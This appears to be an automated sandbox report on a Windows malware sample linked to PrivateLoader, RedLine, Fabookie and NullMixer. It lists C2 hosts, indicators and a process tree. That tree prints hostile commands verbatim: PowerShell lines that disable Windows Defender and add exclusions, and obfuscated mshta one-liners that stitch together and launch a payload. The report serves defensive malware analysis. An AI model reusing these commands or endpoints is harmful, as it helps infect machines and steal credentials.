fabookie | 54dd0b1767570b23927b3959b1b53e2184b604eec29f168ca5f2b644a438309f

Analysis

max time kernel
93s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
05-11-2024 11:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

096fc162ed138cc3d9ee62631325c0d7d2957d6a1b7eec705da59004b83fd6c8.exe
Size

4.2MB
MD5

a6ba5fc790a5f555b8b6f28e7837253c
SHA1

ea77f8f24c106948eb398d682826afde02c7270d
SHA256

096fc162ed138cc3d9ee62631325c0d7d2957d6a1b7eec705da59004b83fd6c8
SHA512

5f77a237fdeffaaefac2decb9f08fdba7d909709c3796ef3142922559a5e8c25c9c0856088c9ce9f2025dcd91aa25b48f891ae9cb1d1a28275a2ad43f48f8fa2
SSDEEP

98304:J3KOJtrOPjVShZyRB2o4X0xgkwY9BdqoC:JaOTUVt+X0xgkwSMoC

Score

10^/10

fabookie gcleaner nullmixer onlylogger privateloader redline media23 aspackv2 discovery dropper execution infostealer loader spyware stealer

Malware Config

Extracted

Family

privateloader

http://45.133.1.107/server.txt

pastebin.com/raw/A7dSG1te

http://wfsdragon.ru/api/setStats.php

51.178.186.149

Extracted

Family

nullmixer

http://gazrxlog.xyz/

Extracted

Family

redline

Botnet

media23

91.121.67.60:23325

Attributes

auth_value
e37d5065561884bb54c8ed1baa6de446

Extracted

Family

gcleaner

gcl-gb.biz

45.9.20.13

Signatures

Detect Fabookie payload 1 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\7zS0FE47887\Sat060fd7e42d2.exe	family_fabookie

Fabookie
Fabookie is facebook account info stealer.
spyware stealer fabookie
Fabookie family
fabookie
GCleaner
GCleaner is a Pay-Per-Install malware loader first discovered in early 2019.
loader gcleaner
Gcleaner family
gcleaner
NullMixer
NullMixer is a malware dropper leading to an infection chain of a wide variety of malware families.
dropper nullmixer
Nullmixer family
nullmixer
OnlyLogger
A tiny loader that uses IPLogger to get its payload.
loader onlylogger
Onlylogger family
onlylogger
PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
loader privateloader
Privateloader family
privateloader
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

Processes:

resource	yara_rule
behavioral6/memory/4892-174-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline

Redline family
redline

OnlyLogger payload 1 IoCs

Processes:

resource	yara_rule
behavioral6/memory/5032-236-0x0000000000400000-0x000000000089B000-memory.dmp	family_onlylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

4932 powershell.exe
2420 powershell.exe

pid	process
4932	powershell.exe
2420	powershell.exe

ASPack v2.12-2.42 3 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\7zS0FE47887\libcurlpp.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS0FE47887\libstdc++-6.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS0FE47887\libcurl.dll	aspack_v212_v242

Checks computer location settings 2 TTPs 13 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

setup_installer.exemshta.exemshta.exe096fc162ed138cc3d9ee62631325c0d7d2957d6a1b7eec705da59004b83fd6c8.exeSat06f5ed0e3bb24.exemshta.exe09xU.exEH2LAVMGsZFX.EXemshta.exemshta.exemshta.exeSat0663b341399ee.exeSat0675f75df01bdb.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	setup_installer.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	096fc162ed138cc3d9ee62631325c0d7d2957d6a1b7eec705da59004b83fd6c8.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	Sat06f5ed0e3bb24.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	09xU.exE
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	H2LAVMGsZFX.EXe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	Sat0663b341399ee.exe
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	Sat0675f75df01bdb.exe

Executes dropped EXE 14 IoCs

Processes:

setup_installer.exesetup_install.exeSat0663b341399ee.exeSat0618d93ac2c5c.exeSat06f5ed0e3bb24.exeSat060fd7e42d2.exeSat0647140c100d63.exeSat062000ca9aa6.exeSat0619212f22dd7.exeSat06ebc37d1c94352.exeSat0675f75df01bdb.exeH2LAVMGsZFX.EXe09xU.exESat062000ca9aa6.exe

pid	process
3824	setup_installer.exe
4680	setup_install.exe
5092	Sat0663b341399ee.exe
3064	Sat0618d93ac2c5c.exe
4908	Sat06f5ed0e3bb24.exe
4860	Sat060fd7e42d2.exe
4660	Sat0647140c100d63.exe
2676	Sat062000ca9aa6.exe
692	Sat0619212f22dd7.exe
1384	Sat06ebc37d1c94352.exe
5032	Sat0675f75df01bdb.exe
4552	H2LAVMGsZFX.EXe
3480	09xU.exE
4892	Sat062000ca9aa6.exe

Loads dropped DLL 8 IoCs

Processes:

setup_install.exerundll32.exemsiexec.exerundll32.exe

pid	process
4680	setup_install.exe
4680	setup_install.exe
4680	setup_install.exe
4680	setup_install.exe
4680	setup_install.exe
4676	rundll32.exe
4608	msiexec.exe
2260	rundll32.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service
T1102

Processes:

flow ioc

40 pastebin.com
41 pastebin.com
28 iplogger.org
29 iplogger.org
30 iplogger.org
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

20 ip-api.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

Sat062000ca9aa6.exe

description pid process target process

PID 2676 set thread context of 4892 2676 Sat062000ca9aa6.exe Sat062000ca9aa6.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	ioc
40	pastebin.com
41	pastebin.com
28	iplogger.org
29	iplogger.org
30	iplogger.org

flow	ioc
20	ip-api.com

description	pid	process	target process
PID 2676 set thread context of 4892	2676	Sat062000ca9aa6.exe	Sat062000ca9aa6.exe

Program crash 12 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
1800	4680	WerFault.exe	setup_install.exe
2464	4660	WerFault.exe	Sat0647140c100d63.exe
1220	5032	WerFault.exe	Sat0675f75df01bdb.exe
4280	5032	WerFault.exe	Sat0675f75df01bdb.exe
3076	5032	WerFault.exe	Sat0675f75df01bdb.exe
4024	5032	WerFault.exe	Sat0675f75df01bdb.exe
1888	5032	WerFault.exe	Sat0675f75df01bdb.exe
3388	5032	WerFault.exe	Sat0675f75df01bdb.exe
4048	5032	WerFault.exe	Sat0675f75df01bdb.exe
364	5032	WerFault.exe	Sat0675f75df01bdb.exe
3268	4088	WerFault.exe	e598c0a.exe
932	2448	WerFault.exe	e59ba1f.exe

System Location Discovery: System Language Discovery 1 TTPs 50 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

Sat062000ca9aa6.execmd.execmd.execmd.execmd.execmd.exeSat0675f75df01bdb.exetaskkill.execontrol.execmd.exemshta.exemsiexec.exesetup_install.exeSat0663b341399ee.exeSat06f5ed0e3bb24.execmd.execmd.exetaskkill.exesetup_installer.execmd.exeSat0647140c100d63.execmd.execmd.exetaskkill.execmd.exeSat0619212f22dd7.execmd.exerundll32.execmd.execmd.exeSat062000ca9aa6.exemshta.exemshta.exemshta.execmd.execmd.exemshta.exe096fc162ed138cc3d9ee62631325c0d7d2957d6a1b7eec705da59004b83fd6c8.exepowershell.execmd.execmd.exeSat0618d93ac2c5c.execmd.exerundll32.exepowershell.exeH2LAVMGsZFX.EXecmd.exe09xU.exEmshta.execmd.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Sat062000ca9aa6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Sat0675f75df01bdb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	control.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup_install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Sat0663b341399ee.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Sat06f5ed0e3bb24.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup_installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Sat0647140c100d63.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Sat0619212f22dd7.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Sat062000ca9aa6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	096fc162ed138cc3d9ee62631325c0d7d2957d6a1b7eec705da59004b83fd6c8.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Sat0618d93ac2c5c.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	H2LAVMGsZFX.EXe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	09xU.exE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

Sat0647140c100d63.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sat0647140c100d63.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sat0647140c100d63.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sat0647140c100d63.exe

Kills process with taskkill 3 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid process

1088 taskkill.exe
1232 taskkill.exe
1604 taskkill.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

4932 powershell.exe
4932 powershell.exe
2420 powershell.exe
2420 powershell.exe
4932 powershell.exe
2420 powershell.exe

pid	process
1088	taskkill.exe
1232	taskkill.exe
1604	taskkill.exe

pid	process
4932	powershell.exe
4932	powershell.exe
2420	powershell.exe
2420	powershell.exe
4932	powershell.exe
2420	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exeSat06ebc37d1c94352.exetaskkill.exetaskkill.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	2420	powershell.exe
Token: SeDebugPrivilege	4932	powershell.exe
Token: SeDebugPrivilege	1384	Sat06ebc37d1c94352.exe
Token: SeDebugPrivilege	1232	taskkill.exe
Token: SeDebugPrivilege	1088	taskkill.exe
Token: SeDebugPrivilege	1604	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

096fc162ed138cc3d9ee62631325c0d7d2957d6a1b7eec705da59004b83fd6c8.exesetup_installer.exesetup_install.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 4244 wrote to memory of 3824	4244	096fc162ed138cc3d9ee62631325c0d7d2957d6a1b7eec705da59004b83fd6c8.exe	setup_installer.exe
PID 4244 wrote to memory of 3824	4244	096fc162ed138cc3d9ee62631325c0d7d2957d6a1b7eec705da59004b83fd6c8.exe	setup_installer.exe
PID 4244 wrote to memory of 3824	4244	096fc162ed138cc3d9ee62631325c0d7d2957d6a1b7eec705da59004b83fd6c8.exe	setup_installer.exe
PID 3824 wrote to memory of 4680	3824	setup_installer.exe	setup_install.exe
PID 3824 wrote to memory of 4680	3824	setup_installer.exe	setup_install.exe
PID 3824 wrote to memory of 4680	3824	setup_installer.exe	setup_install.exe
PID 4680 wrote to memory of 1412	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 1412	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 1412	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 1988	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 1988	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 1988	4680	setup_install.exe	cmd.exe
PID 1412 wrote to memory of 2420	1412	cmd.exe	powershell.exe
PID 1412 wrote to memory of 2420	1412	cmd.exe	powershell.exe
PID 1412 wrote to memory of 2420	1412	cmd.exe	powershell.exe
PID 1988 wrote to memory of 4932	1988	cmd.exe	powershell.exe
PID 1988 wrote to memory of 4932	1988	cmd.exe	powershell.exe
PID 1988 wrote to memory of 4932	1988	cmd.exe	powershell.exe
PID 4680 wrote to memory of 3808	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 3808	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 3808	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 3888	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 3888	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 3888	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 912	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 912	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 912	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 2292	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 2292	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 2292	4680	setup_install.exe	cmd.exe
PID 3808 wrote to memory of 5092	3808	cmd.exe	Sat0663b341399ee.exe
PID 3808 wrote to memory of 5092	3808	cmd.exe	Sat0663b341399ee.exe
PID 3808 wrote to memory of 5092	3808	cmd.exe	Sat0663b341399ee.exe
PID 4680 wrote to memory of 2988	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 2988	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 2988	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 4100	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 4100	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 4100	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 5004	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 5004	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 5004	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 2136	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 2136	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 2136	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 408	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 408	4680	setup_install.exe	cmd.exe
PID 4680 wrote to memory of 408	4680	setup_install.exe	cmd.exe
PID 2988 wrote to memory of 4908	2988	cmd.exe	Sat06f5ed0e3bb24.exe
PID 2988 wrote to memory of 4908	2988	cmd.exe	Sat06f5ed0e3bb24.exe
PID 2988 wrote to memory of 4908	2988	cmd.exe	Sat06f5ed0e3bb24.exe
PID 2136 wrote to memory of 3064	2136	cmd.exe	Sat0618d93ac2c5c.exe
PID 2136 wrote to memory of 3064	2136	cmd.exe	Sat0618d93ac2c5c.exe
PID 2136 wrote to memory of 3064	2136	cmd.exe	Sat0618d93ac2c5c.exe
PID 2292 wrote to memory of 4860	2292	cmd.exe	Sat060fd7e42d2.exe
PID 2292 wrote to memory of 4860	2292	cmd.exe	Sat060fd7e42d2.exe
PID 912 wrote to memory of 4660	912	cmd.exe	Sat0647140c100d63.exe
PID 912 wrote to memory of 4660	912	cmd.exe	Sat0647140c100d63.exe
PID 912 wrote to memory of 4660	912	cmd.exe	Sat0647140c100d63.exe
PID 3888 wrote to memory of 2676	3888	cmd.exe	Sat062000ca9aa6.exe
PID 3888 wrote to memory of 2676	3888	cmd.exe	Sat062000ca9aa6.exe
PID 3888 wrote to memory of 2676	3888	cmd.exe	Sat062000ca9aa6.exe
PID 4100 wrote to memory of 692	4100	cmd.exe	Sat0619212f22dd7.exe
PID 4100 wrote to memory of 692	4100	cmd.exe	Sat0619212f22dd7.exe

C:\Users\Admin\AppData\Local\Temp\096fc162ed138cc3d9ee62631325c0d7d2957d6a1b7eec705da59004b83fd6c8.exe
"C:\Users\Admin\AppData\Local\Temp\096fc162ed138cc3d9ee62631325c0d7d2957d6a1b7eec705da59004b83fd6c8.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4244
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3824
- - C:\Users\Admin\AppData\Local\Temp\7zS0FE47887\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS0FE47887\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4680
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1412
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2420
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1988
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4932
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sat0663b341399ee.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3808
    - - C:\Users\Admin\AppData\Local\Temp\7zS0FE47887\Sat0663b341399ee.exe
        
        Sat0663b341399ee.exe
        5⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5092
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS0FE47887\Sat0663b341399ee.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS0FE47887\Sat0663b341399ee.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
        6⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:4608
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS0FE47887\Sat0663b341399ee.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS0FE47887\Sat0663b341399ee.exe") do taskkill /F -Im "%~NxU"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2628
        
        C:\Users\Admin\AppData\Local\Temp\09xU.exE
        
        09xU.EXE -pPtzyIkqLZoCarb5ew
        8⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3480
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
        9⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:4568
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:2432
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )
        9⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:4332
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:32
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" eCHO "
        11⤵
        System Location Discovery: System Language Discovery
        
        PID:3904
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
        11⤵
        System Location Discovery: System Language Discovery
        
        PID:4808
        
        C:\Windows\SysWOW64\control.exe
        
        control .\R6f7sE.I
        11⤵
        System Location Discovery: System Language Discovery
        
        PID:2032
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
        12⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:4676
        
        C:\Windows\system32\RunDll32.exe
        
        C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
        13⤵
        
        PID:2936
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
        14⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:2260
        
        C:\Users\Admin\AppData\Local\Temp\e598c0a.exe
        
        "C:\Users\Admin\AppData\Local\Temp\e598c0a.exe"
        15⤵
        
        PID:4088
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4088 -s 804
        16⤵
        Program crash
        
        PID:3268
        
        C:\Users\Admin\AppData\Local\Temp\e59ba1f.exe
        
        "C:\Users\Admin\AppData\Local\Temp\e59ba1f.exe"
        13⤵
        
        PID:2448
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2448 -s 780
        14⤵
        Program crash
        
